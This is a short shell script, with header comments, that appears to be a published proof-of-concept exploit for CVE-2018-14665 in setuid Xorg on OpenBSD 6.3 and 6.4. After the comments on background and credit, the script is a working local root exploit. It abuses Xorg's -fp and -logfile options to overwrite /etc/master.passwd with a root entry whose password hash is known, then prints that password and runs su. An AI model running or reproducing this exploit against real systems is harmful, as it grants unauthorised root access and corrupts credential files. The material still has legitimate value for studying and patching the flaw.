#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root. 
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD. Errata: was 
# unpatched 0day for a day on release by Xorg for
# OpenBSD systems - patched 26-10-2018.
# 
# Credit for cve-2018-14665 goes to Narendra Shinde.
# Theo explains why this flaw made it into OpenBSD
# stable releases (tested 6.3 & 6.4) as 0day himself 
# here:
#
# https://marc.info/?l=openbsd-tech&r=1&b=201810&w=2
#
# "That is the first localhost root hole in quite a 
# long time." - Theo de Raadt 25/10/18
#
# This exploit works on OpenBSD 6.3 and 6.4, ymmv.
# requires the ability to run "su" and a local
# account. Run this exploit once and it will backup
# the original passwd file to /etc/master.passwd.old
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back 
echo [+] type 'Password1' and hit enter for root
su -